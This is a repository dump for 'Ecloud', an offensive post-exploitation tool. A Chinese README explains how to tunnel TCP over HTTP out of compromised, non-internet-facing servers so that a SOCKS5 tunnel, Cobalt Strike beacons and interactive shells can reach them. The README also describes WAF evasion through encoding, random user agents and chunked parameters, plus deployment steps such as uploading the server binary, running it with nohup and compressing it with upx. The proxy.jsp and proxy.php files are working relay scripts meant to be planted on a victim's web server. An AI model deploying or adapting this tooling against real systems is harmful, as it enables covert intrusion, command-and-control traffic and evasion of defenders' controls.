├── README.md ├── img ├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png └── 6.png ├── proxy.jsp └── proxy.php /README.md: -------------------------------------------------------------------------------- 1 | # Ecloud 2 | > Ecloud是一款基于http/1.1协议传输TCP流量的工具,适用于内网不出网时通过web代理脚本转发tcp流量,以达到socket5隧道、内网cs等程序上线、反弹虚拟终端等功能 3 | 4 | ## 初衷 5 | > 在进行红蓝对抗时,经常会遇到外网打点拿下的服务器不出网,只有靠已有的工具进行web代理出网,例如: 6 | - reGeorg/Neo-reGeorg: 通过web脚本搭建socket5隧道 7 | - ABPTTS: 和reGeorg类似,基于web脚本的就不一一介绍了 8 | - 毒刺(pystinger): 通过client->web脚本流量转发->server进行tcp连接 9 | 10 | > 那为什么重新造轮子写一款新的工具呢?主要是实战中碰到的问题: 11 | - 过waf:这是最核心也是最重要的,分为数据包特征和http请求速率等(以上工具都已被waf拦截) 12 | - 需要的功能:socket5隧道、内网程序(如cs等)上线、虚拟终端(webshell的命令执行只是exec执行,不支持交互式) 13 | - 程序稳定性、跨平台性等 14 | - 发送和返回的数据太大 15 | - ......更多细节 16 | 17 | ## 项目设计 18 | > 要实现以上所需功能,还是得采用 client端->web脚本转发流量->server端,优点是: 19 | - 除能实现socket5隧道外,还能实现内网程序上线、虚拟终端等功能,有了TCP流量就能做更多事 20 | - web脚本代码简单,只是一个http请求转发,这样就能支持大部分web环境 21 | - TCP连接放在server端,可更容易管理和维护以及自定义流量加密等 22 | - 更少的http请求 23 | - 数据压缩,使用gzip压缩,越大数据压缩比例越好,减少数据体积 24 | 25 | > 当然,也有缺点: 26 | - 需要上传server端并且执行 27 | 28 | ## Socket5隧道 29 | > 为了跨平台,采用golang语言开发,从零开始,不得不研究socket5协议、http协议转tcp优化、数据压缩等 30 | 31 | > 要实现基于http/1.1协议搭建socket5隧道,因为TCP是字节流传输,并不是像http协议request->response这样回合制;故设计为: 32 | 33 | ### client端 34 | - TCP监听某端口,解析socket5协议,获取目标主机和端口;发送connect命令让sever端建立tcp连接并保存; 35 | - 读取客户端输入,并将读取到的数据发送到server端进行tcp.write() 36 | - 读取server端tcp.read()结果,写入客户端中 37 | - 客户端断开,发送命令让server端相应的tcp连接断开,防止tcp打开过多,server端tcp连接池自身也进行自检,断开长时间未读写的连接 38 | 39 | ### server端 40 | - 启一个web并监听某端口(监听本机地址和大数字端口只需普通用户权限即可),接收web代理脚本转发的post数据 41 | - 内置tcp连接池,client端socket5每监听到一个客户端分配唯一标识,且connect时server tcp连接池分配 42 | 43 | ### web脚本 44 | > 只是一个http请求转发,可以省略 45 | 46 | ### 过waf 47 | - 采用golang gob序列化+gzip数据压缩+base64替换编码,使其正常不能解码 48 | - 数据采用分段key-value形式,数据越大分段越多 49 | 50 | ## 项目演示 51 | 52 | ### 流量特征 53 | > 内置ua协议头,每次发送不一致,内置1000+常用api变量名,可指定分段大小,如分段长度为20,则100大小的数据分为5个key-value形式;返回数据特征暂未处理 54 | 55 | ![index](https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/main/img/1.png) 56 | 57 | ### 优化 58 | - 配置了只代理局域网功能,这样浏览器使用当前socket5打开外网地址不影响 59 | - 配置了域名过滤,浏览器会默认发送垃圾流量,配置此域名则进行过滤,最大程序减少http请求发送量 60 | 61 | ```toml 62 | [client.socket5] 63 | enable = true # 是否开启socket5代理功能 64 | listen = "127.0.0.1" # 本地Socket5监听地址 65 | listenPort = 1080 # 本地Socket5监听端口 66 | readTime = 500 # 读取TCP响应延迟(太快容易被安全设备拦截) 67 | writeTime = 200 # 发送TCP数据延迟 68 | sectionLength = 100 # 发送数据分段长度 69 | localRoute = false # 只代理局域网地址 70 | domain = ["baidu.com", "google.com", "googleapis.com"] # 当未开启只代理局域网地址功能 则过滤以下域名,防止浏览器默认垃圾流量 71 | ``` 72 | 73 | ### 使用教程 74 | 75 | #### client端 76 | > 配置好client.toml文件,直接运行即可,注意代理默认http://127.0.0.1:8080,测试时打开burp,或置为空 77 | 78 | #### server端 79 | > 配置好server.json,直接运行(webshell命令执行需要从后台运行:nohup ./server &),如果文件体积过大,可使用upx进行压缩后上传 80 | 81 | #### web脚本端 82 | > 如果是测试可以省略web脚本,url直接填server http监听地址,若需要使用web脚本,则将web脚本上传到web目录中,url填写web脚本地址 83 | 84 | #### 视频演示 85 | https://www.bilibili.com/video/BV1bq4y1S7iC/ 86 | 87 | 88 | ## 内网Http代理 89 | > 要使内网使用socket5代理出网,那http发包量将是正向socket5隧道的几倍,因为socket读写在内网端; 90 | 91 | > 考虑到内网出网情况下只有使用cs等c2后门程序,那么http代理将是最好选择,同时大大减少了http发包请求;目前只写了http代理post和get两种方法,同时支持header、cookies协议头,对cs来说足够用了,后面不够在完善; 92 | 93 | ### CS使用教程 94 | 95 | > 监听选择http代理,地址为server端web端口,server端只开了这一个监听端口: 96 | 97 | ![index](https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/main/img/2.png) 98 | 99 | > 可看到http代理功能发包请求相较于socket5隧道少 100 | 101 | ![index](https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/main/img/3.png) 102 | 103 | > cs功能都能正常使用,除了数据流太大情况下,如截图、上下载文件等: 104 | 105 | ![index](https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/main/img/4.png) 106 | 107 | ![index](https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/main/img/5.png) 108 | 109 | ![index](https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/main/img/6.png) 110 | 111 | 112 | ### 去做 113 | > 该项目正在开发中 114 | 115 | - 内网程序出网 (已完成) 116 | - 虚拟终端 117 | - 更好想法 118 | -------------------------------------------------------------------------------- /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/8721277255dc3f1a8c035aad12d6cd1ddcf5e8d0/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/8721277255dc3f1a8c035aad12d6cd1ddcf5e8d0/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/8721277255dc3f1a8c035aad12d6cd1ddcf5e8d0/img/3.png -------------------------------------------------------------------------------- /img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/8721277255dc3f1a8c035aad12d6cd1ddcf5e8d0/img/4.png -------------------------------------------------------------------------------- /img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/8721277255dc3f1a8c035aad12d6cd1ddcf5e8d0/img/5.png -------------------------------------------------------------------------------- /img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTF-MissFeng/Ecloud/8721277255dc3f1a8c035aad12d6cd1ddcf5e8d0/img/6.png -------------------------------------------------------------------------------- /proxy.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" import="java.net.*,java.util.*,java.io.*,java.net.*" contentType="text/html; charset=utf-8" %> 2 | <%! 3 | public static class HttpRequest { 4 | public static String doPost(String httpUrl, byte[] param) { 5 | StringBuffer result=new StringBuffer(); 6 | HttpURLConnection connection=null; 7 | OutputStream os=null; 8 | InputStream is=null; 9 | BufferedReader br=null; 10 | try { 11 | URL url=new URL(httpUrl); 12 | connection= (HttpURLConnection) url.openConnection(); 13 | connection.setRequestMethod("POST"); 14 | connection.setConnectTimeout(10000); 15 | connection.setReadTimeout(10000); 16 | connection.setDoOutput(true); 17 | connection.setDoInput(true); 18 | connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 19 | //connection.setRequestProperty("accept", "*/*"); 20 | //connection.setRequestProperty("Connection", "keep-alive"); 21 | if(param!=null&&!param.equals("")){ 22 | os=connection.getOutputStream(); 23 | os.write(param); 24 | } 25 | if(connection.getResponseCode()==200){ 26 | is=connection.getInputStream(); 27 | if(is!=null){ 28 | br=new BufferedReader(new InputStreamReader(is,"UTF-8")); 29 | String temp=null; 30 | if((temp=br.readLine())!=null){ 31 | result.append(temp); 32 | } 33 | } 34 | } 35 | } catch (Exception e) { 36 | System.out.println("error to send post" + e); 37 | return e.toString(); 38 | } finally { 39 | if(br!=null){ 40 | try { 41 | br.close(); 42 | } catch (IOException e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | if(os!=null){ 47 | try { 48 | os.close(); 49 | } catch (IOException e) { 50 | e.printStackTrace(); 51 | } 52 | } 53 | if(is!=null){ 54 | try { 55 | is.close(); 56 | } catch (IOException e) { 57 | e.printStackTrace(); 58 | } 59 | } 60 | //关闭连接 61 | connection.disconnect(); 62 | } 63 | return result.toString(); 64 | } 65 | } 66 | %> 67 | <% 68 | String method = request.getMethod(); 69 | if (method.equals("GET")) { 70 | out.print("ok"); 71 | return; 72 | } else if (method.equals("POST")) { 73 | try { 74 | String inputData = ""; 75 | String returnString = ""; 76 | InputStream in = request.getInputStream(); 77 | while ( true ){ 78 | byte[] buff = new byte[in.available()]; 79 | if (in.read(buff) == -1) 80 | break; 81 | inputData += new String(buff); 82 | } 83 | returnString = HttpRequest.doPost("http://127.0.0.1:65530/proxy", inputData.getBytes()); 84 | out.print(returnString); 85 | } catch (Exception e) { 86 | out.print("error"); 87 | return; 88 | } 89 | } 90 | %> -------------------------------------------------------------------------------- /proxy.php: -------------------------------------------------------------------------------- 1 | 10 | array( 11 | 'method' => 'POST', 12 | 'header' => 'Content-type: application/x-www-form-urlencoded', 13 | 'content' => $data 14 | ) 15 | ); 16 | $context = stream_context_create($opts); 17 | $result = file_get_contents($url, false, $context); 18 | print_r($result); 19 | } 20 | 21 | if ($_SERVER['REQUEST_METHOD'] === 'POST') { 22 | $post_data = file_get_contents("php://input"); 23 | post("http://127.0.0.1:65530/proxy", $post_data); 24 | } 25 | 26 | ?> --------------------------------------------------------------------------------